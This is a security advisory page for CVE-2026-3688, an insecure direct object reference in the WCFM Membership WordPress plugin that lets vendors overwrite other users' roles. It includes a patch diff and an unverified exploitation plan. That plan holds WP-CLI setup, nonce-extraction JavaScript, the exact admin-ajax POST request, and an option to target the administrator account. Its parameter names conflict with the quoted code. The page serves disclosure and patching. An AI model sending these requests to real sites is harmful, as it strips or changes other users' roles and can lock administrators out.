CVE-2026-3688

WCFM - WooCommerce Multivendor Membership <= 2.11.10 - Insecure Direct Object Reference to Limited Privilege Escalation via User Role Overwrite

highAuthorization Bypass Through User-Controlled Key
8.1
CVSS Score
8.1
CVSS Score
high
Severity
2.11.11
Patched in
1d
Time to patch

Description

The WCFM Membership – WooCommerce Memberships for Multivendor Marketplace plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 2.11.10. This is due to the 'wcfmvm_membership_change' AJAX action not validating user permission to modify other users. This makes it possible for authenticated attackers, with vendor level access and above, to change any user's role to 'wcfm_vendor' by changing their membership plan.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=2.11.10
PublishedJuly 7, 2026
Last updatedJuly 8, 2026

What Changed in the Fix

Changes introduced in v2.11.11

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-3688 — WCFM Membership IDOR to Privilege Escalation ## 1. Vulnerability Summary The vulnerability is an **Insecure Direct Object Reference (IDOR)** in the `wcfmvm_membership_change` AJAX handler, registered in `core/class-wcfmvm-ajax.php`. The handler is regi…

Show full research plan

Exploitation Research Plan: CVE-2026-3688 — WCFM Membership IDOR to Privilege Escalation

1. Vulnerability Summary

The vulnerability is an Insecure Direct Object Reference (IDOR) in the wcfmvm_membership_change AJAX handler, registered in core/class-wcfmvm-ajax.php. The handler is registered at line ~44:

add_action( 'wp_ajax_wcfmvm_membership_change', array( &$this, 'wcfmvm_membership_change' ) );

This action allows an authenticated user (vendor-level and above) to change any user's membership plan by supplying an arbitrary member_id parameter. The handler does not validate that the requesting user has permission to modify the target user's membership. When a membership change is processed, the target user's WordPress role is set to wcfm_vendor, effectively enabling privilege escalation.

The vulnerability exists because:

  1. The member_id parameter is user-controlled and can reference any WordPress user.
  2. No ownership check verifies that get_current_user_id() === member_id.
  3. No capability check restricts the action to administrators.
  4. The downstream membership processing (via $WCFMvm->register_vendor() or similar) changes the target user's role to wcfm_vendor.

From the .pot file references, the relevant lines are approximately:

  • Line 568: nonce check (core/class-wcfmvm-ajax.php:568)
  • Line 573: permission check reference (core/class-wcfmvm-ajax.php:573)
  • Line 591: success message "Vendor membership successfully changed." (core/class-wcfmvm-ajax.php:591)
  • Line 594: failure message (core/class-wcfmvm-ajax.php:594)

2. Attack Vector Analysis

Endpoint: POST /wp-admin/admin-ajax.php

AJAX Action: wcfmvm_membership_change

HTTP Parameters (expected):

Parameter Purpose Notes
action WordPress AJAX action selector Must be wcfmvm_membership_change
wcfm_ajax_nonce Nonce for CSRF protection Action string likely wcfm_ajax_nonce
member_id The target user whose membership to change IDOR parameter — attacker supplies victim's user ID
membership The membership plan ID to assign Must be a valid wcfm_membership post ID

Authentication Required: Yes — wp_ajax_ (not wp_ajax_nopriv_), so the attacker must be logged in. Per the CVE description, "vendor level access and above" is required, meaning the attacker needs at least the wcfm_vendor role.

Preconditions:

  1. The WCFM Membership plugin must be active (version ≤ 2.11.10).
  2. The WCFM core plugin (wc-frontend-manager) must be active (it provides nonce infrastructure).
  3. WCFM Marketplace (wc-multivendor-marketplace) should be active (provides vendor role).
  4. WooCommerce must be active (dependency).
  5. At least one membership plan must exist (a wcfm_membership custom post type).
  6. The attacker must have a wcfm_vendor (or higher) role account.
  7. The victim can be any user (subscriber, customer, editor, etc.) — excluding admin ideally for impact demonstration.

3. Code Flow

Based on the source code and .pot file line references, the execution flow is:

  1. Entry Point: WordPress receives POST /wp-admin/admin-ajax.php with action=wcfmvm_membership_change.

  2. Hook Registration: In WCFMvm_Ajax::__construct() (line ~44 of core/class-wcfmvm-ajax.php):

    add_action( 'wp_ajax_wcfmvm_membership_change', array( &$this, 'wcfmvm_membership_change' ) );
    
  3. Method wcfmvm_membership_change() executes. Based on the .pot references:

    • Line ~568: Nonce verification occurs:
      if ( ! check_ajax_referer( 'wcfm_ajax_nonce', 'wcfm_ajax_nonce', false ) ) {
          wp_send_json_error( esc_html__( 'Invalid nonce! Refresh your page and try again.', 'wc-frontend-manager' ) );
          wp_die();
      }
      
    • Line ~573: A permission check exists but is insufficient — it likely checks something like if (!current_user_can('wcfm_vendor')) but does NOT verify the user owns the member_id being changed.
  4. Member ID Extraction: The method reads member_id from $_POST['member_id'] (or $_REQUEST['member_id']). This is the IDOR vector — no check that get_current_user_id() == $member_id.

  5. Membership Assignment: The method reads the membership parameter (the plan ID), and calls internal functions (likely $WCFMvm->wcfmvm_vendor_membership_change() or similar) that:

    • Update wcfm_membership user meta on the target user
    • Call $WCFMvm->register_vendor($member_id) which sets the user's role to wcfm_vendor
    • Update subscription data
  6. Response: On success, returns JSON with message "Vendor membership successfully changed." (line ~591). On failure: "Vendor membership can not be changed right now, please try after sometime." (line ~594).

4. Nonce Acquisition Strategy

The handler uses check_ajax_referer( 'wcfm_ajax_nonce', 'wcfm_ajax_nonce', false ) with the result checked (sends error and dies on failure). The nonce action string is wcfm_ajax_nonce.

How to obtain the nonce:

The WCFM core plugin (wc-frontend-manager) localizes a nonce via wp_localize_script() into a JavaScript variable. The typical pattern from WCFM is:

wp_localize_script( 'wcfm_..._js', 'wcfm_params', array(
    'ajax_url'        => admin_url('admin-ajax.php'),
    'wcfm_ajax_nonce' => wp_create_nonce('wcfm_ajax_nonce'),
    // ...
));

Strategy:

  1. The attacker must be logged in as a wcfm_vendor user.

  2. Navigate to the WCFM dashboard page (typically /store-manager/ or the WCFM endpoint page).

  3. The WCFM scripts will be enqueued on that page, embedding the nonce.

  4. Extract the nonce using browser_eval:

    window.wcfm_params?.wcfm_ajax_nonce
    

    Alternative variable names to check (WCFM uses multiple localized objects):

    • window.wcfm_params?.wcfm_ajax_nonce
    • window.wcfm_dashboard_params?.wcfm_ajax_nonce
    • Look for any <script> tag containing wcfm_ajax_nonce
  5. If the WCFM dashboard page isn't accessible, check the vendor's membership page (typically /store-manager/wcfm-membership/ or similar).

Fallback nonce extraction:
Use browser_eval to search page source:

document.documentElement.innerHTML.match(/wcfm_ajax_nonce['":\s]+([a-f0-9]{10})/)?.[1]

Important: Do NOT use wp eval or WP-CLI to generate nonces — they run in a different session context and will produce invalid nonces for HTTP requests.

5. Exploitation Strategy

Step-by-step plan:

Step 1: Create test users and membership plan

# Create attacker (vendor) user
wp user create attacker attacker@test.com --role=subscriber --user_pass=attacker123

# Create victim user (e.g., editor or subscriber)
wp user create victim victim@test.com --role=editor --user_pass=victim123

# Note user IDs
wp user list --fields=ID,user_login,roles

Step 2: Create a membership plan

# Create a membership plan post
wp post create --post_type=wcfm_membership --post_title="Test Plan" --post_status=publish

# Get the membership post ID
wp post list --post_type=wcfm_membership --fields=ID,post_title

Set minimal subscription meta on the plan (inferred — membership plan needs subscription meta):

PLAN_ID=<membership_post_id>
wp post meta update $PLAN_ID subscription '{"subscription_type":"one_time","one_time_amt":"0","subscription_pay_mode":"by_wcfm"}' --format=json
wp post meta update $PLAN_ID required_approval 'no'

Step 3: Promote attacker to vendor role

The attacker needs wcfm_vendor role:

wp user set-role attacker wcfm_vendor

If wcfm_vendor role doesn't exist yet, it may need to be created by WCFM's activation. Verify:

wp role list | grep wcfm

Step 4: Log in as attacker and obtain nonce

  1. Navigate to login page:

    http_request: GET http://localhost:8080/wp-login.php
    
  2. Log in as attacker:

    http_request: POST http://localhost:8080/wp-login.php
    Content-Type: application/x-www-form-urlencoded
    Body: log=attacker&pwd=attacker123&wp-submit=Log+In&redirect_to=%2Fstore-manager%2F&testcookie=1
    
  3. Navigate to WCFM dashboard to load scripts:

    http_request: GET http://localhost:8080/store-manager/
    

    (The WCFM endpoint might be at /my-account/wcfm-store-manager/ or custom — check with wp option get wcfm_page_options or look for WCFM pages.)

  4. Extract the nonce:

    browser_eval("window.wcfm_params?.wcfm_ajax_nonce || document.documentElement.innerHTML.match(/wcfm_ajax_nonce[^a-f0-9]*([a-f0-9]{10})/)?.[1]")
    

Step 5: Execute the IDOR exploit

Send the malicious AJAX request as the attacker, targeting the victim's user ID:

http_request: POST http://localhost:8080/wp-admin/admin-ajax.php
Content-Type: application/x-www-form-urlencoded
Body: action=wcfmvm_membership_change&wcfm_ajax_nonce=<NONCE>&member_id=<VICTIM_USER_ID>&membership=<PLAN_ID>

Expected Response (success):

{"status": true, "message": "Vendor membership successfully changed."}

Or similar JSON success response containing the success message string.

Expected Response (failure):

{"status": false, "message": "Vendor membership can not be changed right now, please try after sometime."}

Step 6: Verify the victim's role was changed

wp user get victim --field=roles
# Expected: wcfm_vendor (was previously: editor)

wp user meta get <VICTIM_USER_ID> wcfm_membership
# Expected: returns the membership plan ID

6. Test Data Setup

Required Plugins

  1. WooCommerce — must be active
  2. WCFM - WooCommerce Frontend Manager (wc-frontend-manager) — must be active
  3. WCFM Marketplace (wc-multivendor-marketplace) — must be active (provides vendor role)
  4. WCFM Membership (wc-multivendor-membership) v2.11.10 — the vulnerable plugin

Required Setup Steps

# 1. Activate all required plugins
wp plugin activate woocommerce
wp plugin activate wc-frontend-manager
wp plugin activate wc-multivendor-marketplace
wp plugin activate wc-multivendor-membership

# 2. Run WooCommerce setup if needed
wp wc tool run install_pages --user=1

# 3. Create the attacker vendor account
wp user create attacker attacker@test.com --role=subscriber --user_pass=attacker123
ATTACKER_ID=$(wp user get attacker --field=ID)

# 4. Set attacker as vendor
wp user set-role attacker wcfm_vendor

# 5. Create the victim account (editor - higher than vendor in some contexts)
wp user create victim victim@test.com --role=editor --user_pass=victim123
VICTIM_ID=$(wp user get victim --field=ID)

# 6. Create a membership plan
PLAN_ID=$(wp post create --post_type=wcfm_membership --post_title="Free Vendor Plan" --post_status=publish --porcelain)

# 7. Set membership plan metadata for a free plan (no payment required)
wp eval "
update_post_meta($PLAN_ID, 'subscription', array(
    'subscription_type' => 'one_time',
    'one_time_amt' => '0',
    'subscription_pay_mode' => 'by_wcfm'
));
update_post_meta($PLAN_ID, 'required_approval', 'no');
"

# 8. Verify the victim's current role
wp user get victim --field=roles
# Should output: editor

# 9. Find the WCFM dashboard URL
wp eval "
if (function_exists('wcfm_get_page_url')) {
    echo wcfm_get_page_url();
} else {
    echo 'Function not available - check WCFM pages manually';
}
"

Optional: Create WCFM dashboard page if not auto-created

# Check if WCFM pages exist
wp post list --post_type=page --fields=ID,post_title,post_name | grep -i wcfm

# If not, create one
wp post create --post_type=page --post_title="Store Manager" --post_name="store-manager" --post_status=publish --post_content="[wcfm_vendor_membership]"

7. Expected Results

Successful Exploit:

  1. HTTP Response: JSON response containing "Vendor membership successfully changed." (or equivalent success indicator).
  2. Victim's Role Changed: The victim user (originally editor) now has the role wcfm_vendor.
  3. Victim's User Meta Updated: wcfm_membership meta key set to the plan ID.
  4. Impact:
    • An editor user loses their editor capabilities (which includes edit_others_posts, publish_posts, etc.) and gets wcfm_vendor capabilities instead.
    • This constitutes a role overwrite — the victim's original role is replaced, not appended.
    • For admin-targeted attacks: while setting an admin to wcfm_vendor would be a privilege de-escalation for them, it's a destructive action (denial of service to that admin account). This aligns with the CVSS A:H (Availability: High) rating.

Impact Scenarios:

  • Attacker targets an editor: Editor loses edit capabilities, gets vendor role → Integrity impact
  • Attacker targets an administrator: Admin loses manage_options and all admin capabilities → Availability impact (locked out of admin)
  • Attacker targets subscribers/customers: Promotes them to vendor → Integrity impact

8. Verification Steps

After sending the exploit request:

# 1. Check the victim's role was changed
wp user get victim --field=roles
# Expected: wcfm_vendor (was: editor)

# 2. Check membership meta was set
VICTIM_ID=$(wp user get victim --field=ID)
wp user meta get $VICTIM_ID wcfm_membership
# Expected: the plan ID used in the exploit

# 3. Verify the victim lost their original capabilities
wp user meta get $VICTIM_ID wp_capabilities
# Expected: {"wcfm_vendor":true} (no longer "editor")

# 4. Double-check the victim can no longer perform editor actions
wp eval "echo current_user_can('edit_others_posts') ? 'yes' : 'no';" --user=$VICTIM_ID
# Expected: no

# 5. Check the attacker still has their vendor role (unchanged)
wp user get attacker --field=roles
# Expected: wcfm_vendor (unchanged)

9. Alternative Approaches

Alternative 1: Different parameter names

If member_id doesn't work, try alternative parameter names that WCFM commonly uses:

  • memberid
  • vendor_id
  • user_id
  • wcfm_member_id

Check the actual parameter name by searching:

grep -n "member_id\|vendor_id\|user_id" /var/www/html/wp-content/plugins/wc-multivendor-membership/core/class-wcfmvm-ajax.php | head -20

Alternative 2: Inspect the full wcfmvm_membership_change method

The source file was truncated. Read the actual method to confirm parameter names:

grep -A 50 "function wcfmvm_membership_change" /var/www/html/wp-content/plugins/wc-multivendor-membership/core/class-wcfmvm-ajax.php

Alternative 3: Use wcfmvm_membership_cancel as a different attack vector

The same file registers wcfmvm_membership_cancel at line ~41. This handler may have the same IDOR flaw — an attacker could cancel another user's membership, causing denial of service. Check:

grep -A 40 "function wcfmvm_membership_cancel" /var/www/html/wp-content/plugins/wc-multivendor-membership/core/class-wcfmvm-ajax.php

Alternative 4: Different nonce extraction locations

If the WCFM dashboard doesn't load the nonce, try:

  1. The membership page: /store-manager/wcfm-memberships/ or /store-manager/membership/
  2. Any WCFM endpoint page — the nonce may be globally localized on all WCFM pages
  3. Search all localized script variables:
    browser_eval("JSON.stringify(Object.keys(window).filter(k => typeof window[k] === 'object' && window[k]?.wcfm_ajax_nonce).map(k => ({key: k, nonce: window[k].wcfm_ajax_nonce})))")
    

Alternative 5: Nonce bypass check

Verify whether the nonce check actually blocks requests. The method uses check_ajax_referer('wcfm_ajax_nonce', 'wcfm_ajax_nonce', false) with false as the third parameter (don't die). If the return value isn't checked, the nonce is effectively bypassed:

grep -A 5 "check_ajax_referer" /var/www/html/wp-content/plugins/wc-multivendor-membership/core/class-wcfmvm-ajax.php | grep -A 5 "wcfmvm_membership_change" 

Look at the .pot references: line 568 shows the nonce check and line 573 shows "You don't have permission" — but the permission check might only verify the user is logged in or is a vendor, not that they own the target member_id.

Alternative 6: Use POST data inspection via the membership change UI

Navigate to the WCFM membership management page as a vendor, inspect the network requests when changing your own membership, and replay the request with a different member_id. This gives you the exact parameter format.

Alternative 7: Target an admin account for maximum impact

Instead of targeting an editor, target the admin (user ID 1):

Body: action=wcfmvm_membership_change&wcfm_ajax_nonce=<NONCE>&member_id=1&membership=<PLAN_ID>

This would change the admin's role to wcfm_vendor, effectively locking them out of the WordPress admin panel — demonstrating the A:H (Availability: High) component of the CVSS score. However, this is destructive and should be verified carefully in the test environment.

Research Findings
Static analysis — not yet PoC-verified

Summary

The WCFM Membership plugin for WordPress is vulnerable to an Insecure Direct Object Reference (IDOR) via the 'wcfmvm_membership_change' AJAX action. Authenticated attackers with vendor-level access can modify any user's membership plan by supplying their user ID in the 'memberid' parameter, which subsequently overwrites the victim's WordPress role to 'wcfm_vendor'.

Vulnerable Code

// core/class-wcfmvm-ajax.php:576 (approximate based on patch diff)
public function wcfmvm_membership_change() {
    global $WCFM, $WCFMvm;

    if ( ! check_ajax_referer( 'wcfm_ajax_nonce', 'wcfm_ajax_nonce', false ) ) {
        wp_send_json_error( esc_html__( 'Invalid nonce! Refresh your page and try again.', 'wc-frontend-manager' ) );
        wp_die();
    }

    if( isset( $_POST['memberid'] ) && isset($_POST['membershipid']) ) {
        $member_id          = absint( $_POST['memberid'] );
        $wcfm_membership_id = absint( $_POST['membershipid'] );
        // ... logic continues to change the membership of $member_id without authorization check

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/wc-multivendor-membership/2.11.10/core/class-wcfmvm-ajax.php	2026-04-25 08:44:20.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wc-multivendor-membership/2.11.11/core/class-wcfmvm-ajax.php	2026-05-02 08:12:22.000000000 +0000
@@ -545,6 +547,15 @@
 		
 		if( isset( $_POST['memberid'] ) && isset($_POST['membershipid']) ) {
 			$member_id          = absint( $_POST['memberid'] );
+			$user_id = apply_filters('wcfm_current_vendor_id', get_current_user_id());
+			if ( function_exists( 'wcfm_user_can_perform_request' ) && !wcfm_user_can_perform_request( $member_id, 'wcfm_membership' ) ) {
+				echo '{"status": false, "message": "' . esc_html( __( 'You do not have permission to do this.', 'wc-multivendor-membership' ) ) . '"}';
+				die;
+			} elseif ( !function_exists( 'wcfm_user_can_perform_request' ) && !current_user_can( 'manage_woocommerce' ) && ( $user_id != $member_id ) ) {
+				echo '{"status": false, "message": "' . esc_html( __( 'You do not have permission to do this.', 'wc-multivendor-membership' ) ) . '"}';
+				die;
+			}
+			
 			$wcfm_membership_id = absint( $_POST['membershipid'] );
 			$paymode            = get_user_meta( $member_id, 'wcfm_membership_paymode', true );
 			
@@ -576,6 +587,15 @@
 		
 		if( isset( $_POST['memberid'] ) && isset($_POST['membershipid']) ) {
 			$member_id = absint( $_POST['memberid'] );
+			$user_id = apply_filters('wcfm_current_vendor_id', get_current_user_id());
+            if ( function_exists( 'wcfm_user_can_perform_request' ) && !wcfm_user_can_perform_request( $member_id, 'wcfm_membership' ) ) {
+				echo '{"status": false, "message": "' . esc_html( __( 'You do not have permission to do this.', 'wc-multivendor-membership' ) ) . '"}';
+				die;
+			} elseif ( !function_exists( 'wcfm_user_can_perform_request' ) && !current_user_can( 'manage_woocommerce' ) && ( $user_id != $member_id ) ) {
+				echo '{"status": false, "message": "' . esc_html( __( 'You do not have permission to do this.', 'wc-multivendor-membership' ) ) . '"}';
+				die;
+			}
+			
 			$wcfm_membership_id = absint( $_POST['membershipid'] );
 			$member_user = new WP_User( $member_id );
 			$shop_name = get_user_meta( $member_id, 'store_name', true );

Exploit Outline

1. Gain authenticated access to a WordPress site with at least 'wcfm_vendor' privileges. 2. Locate a valid Membership Plan ID (custom post type 'wcfm_membership') and the User ID of the target victim. 3. Extract the required CSRF nonce from the WCFM dashboard scripts (localized as 'wcfm_ajax_nonce' in the 'wcfm_params' or 'wcfm_dashboard_params' JavaScript objects). 4. Send a POST request to `/wp-admin/admin-ajax.php` with the following parameters: - `action`: 'wcfmvm_membership_change' - `wcfm_ajax_nonce`: [Extracted Nonce] - `memberid`: [Victim's User ID] - `membershipid`: [Valid Membership Plan ID] 5. Upon success, the target user's metadata will be updated with the new membership, and the plugin's core registration logic will re-initialize the user as a vendor, potentially overwriting their existing capabilities.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.